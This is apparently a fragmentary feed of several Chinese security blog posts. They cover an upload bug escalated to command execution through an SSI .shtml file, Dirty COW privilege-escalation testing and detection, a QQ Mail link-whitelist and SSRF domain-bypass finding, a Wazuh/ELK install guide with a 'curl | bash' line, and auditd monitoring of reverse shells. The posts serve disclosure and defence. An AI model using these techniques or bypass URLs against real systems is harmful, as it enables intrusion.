html上传成功,发现其setcookie也是该业务系统全域名的,但使用的oss服务是阿里的oss相关域名isvstore.oss-cn-hangzhou.aliyuncs.com,不是使用其业务系统的域名,这样这两个域名之间是不能相互跨域的,但aliyuncs.com这个域名如果有业务系统,可能也会被利用。但在我测试过之后发现aliyuncs.com这个域名没有业务系统。所以没有影响,才在这里列出来。
但问题是相通的。
除了html,你是否知道还有一种文件在特殊场景下会被利用呢?那就是shtml!
1 | shtml用的是SSI指令,SSI是为WEB服务器提供的一套命令,这些命令只要直接嵌入到HTML文档的注释内容之中即可。 |
在某众测项目时,曾利用过,当时的情景是一个上传附件的功能存在任意文件上传,asp、aspx、jsp、php等等上传之后,访问都会进行下载,而上传html则造成xss,而xss的奖金并不高;为了提升漏洞的危害,上传了一个shtml,里面的payload就是执行命令,命令执行奖金达到8K。
ps:shtml这个姿势从t00ls论坛上学到的。
]]>CVE-2016-5195
脏牛(Dirty COW)
高
黑客可以通过远程入侵获取低权限用户shell后,然后利用该漏洞在全版本Linux系统上实现本地提权,从而获取服务器root权限。
黑客可以通过远程入侵获取低权限用户shell后, 才能进一步利用该漏洞。
根据Linux内核官方评估自2007年来发行的 >=2.6.22的内核版本全部受影响。
我们先通过一个低权限用户meicai登录,通过rz上传一个cowroot二进制漏洞利用程序;
给cowroot执行权限后执行,发现自动提升到root权限。
请不要在生产环境通过漏洞利用程序测试此漏洞,可能造成系统卡死。为防止系统卡死可执行echo 0 > /proc/sys/vm/dirty_writeback_centisecs ,关闭pdflush刷新。
为防止漏洞利用程序造成的危害,我特意编写了一个可以验证漏洞是否存在的python脚本,执行过后可检测系统是否存在漏洞。请执行3次左右,防止漏报情况。
存在漏洞:
不存在漏洞:
Ubuntu 内核升级:
1、查看是否有最新更新包: dpkg -l | grep linux
2、更新列表:apt-get update 或apt update
3、升级:
Ubuntu12.04版本:apt-get install linux-generic
Ubuntu14.04版本:apt-get upgrade或apt upgrade
4、reboot重启服务器
注意:机器上在做了上述升级后还会存在漏洞未修复!
系统提示我们正在使用的版本安全更新只到2016-08-04这一天,所以官方给出两种解决办法:
1 | #!/usr/bin/env python |
]]>在测试过程中发现poc在执行时会导致机器cpu飙升,于是在代码的逻辑里将poc二进制文件执行过后,马上通过Linux执行杀掉它的进程,防止影响机器上的业务。
所以可能会导致明明存在漏洞,而二进制程序没有执行完就被kill掉了,进而没有检测出漏洞。多执行几次python dirtycow.py,只要出现一次提示存在漏洞,那就是存在漏洞了。
蛤~
甲方“一个人的安全部”的时候,一个研发的同事在设计一项报表功能时,因为受到邮箱的安全限制无法很好的实现,于是将情况反馈给我。说实话,我对浏览器的安全也不太了解,案头的书翻了几页就没再动过,于是对比了腾讯邮箱的做法,发现了这个xss。
公司使用coremail搭建企业邮箱,开发做了一个通过邮件发送html报表的周报,但在此邮件内有链接地址。邮箱的域名是a.com,而报表中的链接是b.com,当用户打开a.com内的报表邮件,点击其中的链接;因为邮件的内容是通过iframe来加载html报表,同时coremail将iframe加入了内容安全策略(CSP)限制(sandbox=“allow-same-origin allow-popups”)。所以,点击链接虽然可以跳转到b.com,但b.com页面有js脚本,sandbox不允许执行脚本(allow-scripts),会导致新打开的链接不会加载脚本执行,效果当然也不是开发想要的效果了。
当然通过让厂商修改iframe的sandbox属性,改为sandbox=”allow-same-origin allow-popups allow-popups-to-escape-sandbox”,即可解决这个问题,但会影响邮箱的安全性。
于是我打开qq邮箱,发现QQ邮箱并没有这个iframe策略,而是通过一个三方“云端安全检测”,对邮件内连接进行拦截,提示用户要访问的页面可能有风险。
于是多打开了几封QQ邮件,点击了邮件内的链接,发现腾讯对智联招聘、拉钩等招聘网站的链接不会进行拦截,直接放行跳转,所以这其中是否存在一定的逻辑绕过呢?
测试过程就省略了,说结果吧,个人认为验证逻辑上还是有些问题:
当邮件内容出现链接时,点击跳转,默认QQ邮箱会进行在云端进行拦截检测。但是会有白名单机制,比如 http://www.lagou.com ,会把拉钩的招聘链接进行放行,云端安全检测检->进行跳转放行,无任何提示。
现有的逻辑如下:
https://www.lagou.com 不放行(因为https,非白名单)
www.lagou.com 不放行(不带有http,非白名单)
http://xss.pirogue.org 不放行(非白名单)
等等其他域名都不放行。
但当第一行是http://www.lagou.com ,第二行的链接都会放行(除去色情或被举报的网址)。
比如:
两个链接都会进行跳转。
如果第一个是http://www.lagou.com ,第二行的网址是一个钓鱼或挂马的链接,却没有被举报。那用户便可能会受到攻击。
后来的结果是大家都知道了,被忽略了。这点我没啥争议,不是漏洞也没关系,我想一探究竟,它是通过js获取邮件内的链接,遇到点击事件就丢到三方“云端url检测”的吗?所以在审计js代码的过程中,一不小心发现了一个类ssrf漏洞。
这个cgi读取到了js的内容
https://mail.qq.com/cgi-bin/magurl?sid=e6tvxdAtN0XOUGoz&act=rep&url=http://ip.qq.com/
但此ssrf限制了域名,比如.qq.com,.soso.com,等等腾讯自己的域名。所以除非你能再挖到腾讯自己的域名下的漏洞来结合使用。可是我们还可以测试一下是否可以绕过域名的白名单机制。
于是我构造了如下的url,成功绕过了白名单,提交了此漏洞:
构造的恶意链接:
http://mail.qq.com.pirogue.org/qq.com.html
内容如下:
Exp:
仔细看url链接里面存在一个sid,在后来的tsrc自测时发现,此sid只能是收件人的sid才能触发漏洞。额,有点self-xss的意思咯。但tsrc还是根据可能的危害程度,给了漏洞中危的回复。
之前在搞一个目标的时候还挖到了一个QQ企业邮箱的存储型xss,但那个存储型xss没啥技术含量,而这个反射的起因到结果还是挺有趣的,所以迫不及待的想分享给大家。
]]>1 | $ cat > /etc/yum.repos.d/wazuh.repo <<\EOF |
1 | $ yum install wazuh-manager |
1 | [root@localhost init.d]# service wazuh-manager status |
[root@localhost opt]# curl –silent –location https://rpm.nodesource.com/setup_6.x | bash -
1 | ## Installing the NodeSource Node.js 6.x repo... |
[root@localhost opt]# ls
[root@localhost opt]# yum install nodejs
1 | 已加载插件:fastestmirror |
[root@localhost opt]# yum install wazuh-api
1 | 已加载插件:fastestmirror |
1 | [root@localhost Python-2.7.3]# service wazuh-api status |
1 | $ yum install -y centos-release-scl |
1 | [root@localhost Python-2.7.3]# service wazuh-api start |
1 | [root@localhost opt]# rpm --import https://packages.elastic.co/GPG-KEY-elasticsearch |
[root@localhost opt]# yum install filebeat
1 | 已加载插件:fastestmirror |
1 | [root@localhost opt]# curl -so /etc/filebeat/filebeat.yml https://raw.githubusercontent.com/wazuh/wazuh/2.0/extensions/filebeat/filebeat.yml |
[root@localhost opt]# vi /etc/filebeat/filebeat.yml
1 | filebeat: |
1 | [root@localhost opt]# chkconfig --add filebeat |
1 | [root@localhost ~]# cd /opt/ |
1 | [root@localhost opt]# yum install elasticsearch |
It is recommended to edit the default configuration to improve the Elasticsearch performance. To do so, please see Elasticsearch tuning.https://documentation.wazuh.com/current/installation-guide/optional-configurations/elastic-tuning.html#elastic-tuning
Logstash is the tool that will collect, parse, and forward to Elasticsearch for indexing and storage all logs generated by Wazuh server. For more info please see Logstash.https://www.elastic.co/products/logstash
1 | [root@localhost opt]# yum install logstash |
因为Wazuh server和Elastic Stack server是分布式架构,要配置在Filebeat和Logstash之间配SSL加密。
1 | [root@localhost opt]# cp /etc/pki/tls/openssl.cnf custom_openssl.cnf |
vi custom_openssl.cnf
找到[ v3_ca ]字段,然后在它下面添加一行elastic server的ip地址:1
2[ v3_ca ]
subjectAltName = IP: 192.168.106.43
1 | [root@localhost opt]# openssl req -x509 -batch -nodes -days 3650 -newkey rsa:2048 -keyout /etc/logstash/logstash.key -out /etc/logstash/logstash.crt -config custom_openssl.cnf |
配置Logstash server,这时在服务器中应该有了/etc/logstash/logstash.crt 证书和 /etc/logstash/logstash.key秘钥。
1 | vi /etc/logstash/conf.d/01-wazuh.conf |
1 | 重启logstash |
配置Filebeat
现在我们配置filebeat认证logstash服务器认证。
使用scp命令必须两台服务器都安装openssh-clients,yum -y install openssh-clients要在两台服务器上分别执行。
1 | [root@localhost ~]# yum -y install openssh-clients |
以下内容在filebeat服务端,也就是wazuh server上执行。
1 | [root@localhost ~]# scp root@192.168.106.43:/etc/logstash/logstash.crt /etc/filebeat |
vi /etc/filebeat/filebeat.yml1
2
3
4
5
6
7
8
9
10
11
12
13
14修改
output:
logstash:
# The Logstash hosts
hosts: ["192.168.106.43:5000"]
# ssl:
# certificate_authorities: ["/etc/filebeat/logstash.crt"]
变成
output:
logstash:
hosts: ["192.168.106.43:5000"]
ssl:
certificate_authorities: ["/etc/filebeat/logstash.crt"]
重新启动filebeat
1 | [root@localhost ~]# service filebeat restart |
1 | [root@localhost opt]# yum install kibana |
vi /etc/kibana/kibana.yml1
2
3
4
5把
#server.host: "localhost"
改成
server.host: "0.0.0.0"
It is recommended to set up an Nginx proxy for Kibana in order to use SSL encryption and to enable authentication. Instructions to set the proxy up can be found at Setting up SSL and authentication for Kibana.https://documentation.wazuh.com/current/installation-guide/optional-configurations/kibana_ssl.html#kibana-ssl
重启kibana1
2
3[root@localhost opt]# chkconfig --add kibana
[root@localhost opt]# service kibana start
kibana started
通过192.168.106.43:5601访问 Kibana,无法访问,查看本地端口已经监听在0.0.0.0:5601,所以关闭防火墙。
1 | [root@localhost opt]# netstat -ntlp |
访问界面
点击”Wazuh”按钮
点击”ADD NEW API”
1 | Welcome to the Wazuh App for Kibana 5 |
请看上面的介绍,Wazuh主要的功能特性和扩展。新版本在上方的导航将api、扩展、关于分3个页面。
在填用户名、密码、url、端口之前,要先到Wazuh server主机上,使用命令生成非默认的认证来保护Wazuh API。
1 | [root@localhost ~]# cd /var/ossec/api/configuration/auth/ |
可以先访问一下web,看认证是否成功
官方的邮件列表解释了这个bug:
https://groups.google.com/forum/#!msg/wazuh/kBVoD-X7xX4/vpDOHjKhCQAJ
1 | yum upgrade wazuh-manager |
官方列表里的讨论在版本比对时逻辑有错误等,在新版本中修复,升级就可以了。
这个就很简单了:
https://documentation.wazuh.com/current/installation-guide/installing-wazuh-agent/index.html
1 | [root@localhost db]# openssl req -x509 -batch -nodes -days 365 -newkey rsa:2048 -keyout /var/ossec/etc/sslmanager.key -out /var/ossec/etc/sslmanager.cert |
1 | [root@localhost db]# /var/ossec/bin/ |
1 | [root@localhost ~]# /var/ossec/bin/agent-auth -m 192.168.106.42 |
1 | [root@localhost db]# cat /var/ossec/etc/client.keys |
1 | [root@localhost ~]# cat /var/ossec/etc/client.keys |
1 | 把 |
1 | [root@localhost ~]# service wazuh-agent start |
但是你会看到wazuh面板agents管理上,显示的连接过来的机器ip写的是any。因为
/var/ossec/bin/ossec-authd默认启动后,将注册any为连接ip,在服务端kill掉ossec-authd进程,然后
/var/ossec/bin/ossec-authd -i启动。在server端通过
/var/ossec/bin/manage_agents,删除已经注册的agent;在agent端删除
/var/ossec/etc/client.keys里的内容记录,重新
/var/ossec/bin/agent-auth -m 192.168.106.42注册,重启agent。
1 | root@Kali:~/pirogue/reverse_shell# strace bash test.sh |
A Brief Introduction to auditd
http://security.blogoverflow.com/2013/01/a-brief-introduction-to-auditd/
Finding short-lived TCP connections owner process
https://serverfault.com/questions/352259/finding-short-lived-tcp-connections-owner-process
Linux auditd
Understanding Audit Log Files
ubuntu - auditctl - a utility to assist controlling the kernel’s audit system
http://manpages.ubuntu.com/manpages/zesty/en/man8/auditctl.8.html
finding-short-lived-tcp-connections-owner-process
https://serverfault.com/questions/352259/finding-short-lived-tcp-connections-owner-process
1 | auditctl -A exit,always -S connect |
1 | root@Kali:~/pirogue/reverse_shell# auditctl -l |
回显:
1 | tailf /var/log/audit/audit.log |
回显:
1 | tailf /var/log/audit/audit.log |
直接执行反弹命令,并没有audit到网络连接行为。但反弹shell中执行:whoami,出现回显。
1 | type=SYSCALL msg=audit(1500975460.957:49): arch=c000003e syscall=42 success=no exit=-2 a0=3 a1=7ffe9c798490 a2=6e a3=6 items=1 ppid=7771 pid=7775 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts2 ses=3 comm="whoami" exe="/usr/bin/whoami" key=(null) |
1 | type=SYSCALL msg=audit(1500976257.753:113): arch=c000003e syscall=41 success=yes exit=3 a0=2 a1=1 a2=6 a3=2b items=0 ppid=2409 pid=7894 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts2 ses=3 comm="bash" exe="/bin/bash" key=(null) |
执行反弹命令直接监控到日志如上。输入whoami,也可监控到回显:
1 | type=SYSCALL msg=audit(1500976407.153:125): arch=c000003e syscall=41 success=yes exit=3 a0=1 a1=80801 a2=0 a3=6 items=0 ppid=7923 pid=7956 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts2 ses=3 comm="whoami" exe="/usr/bin/whoami" key=(null) |
待续…
]]>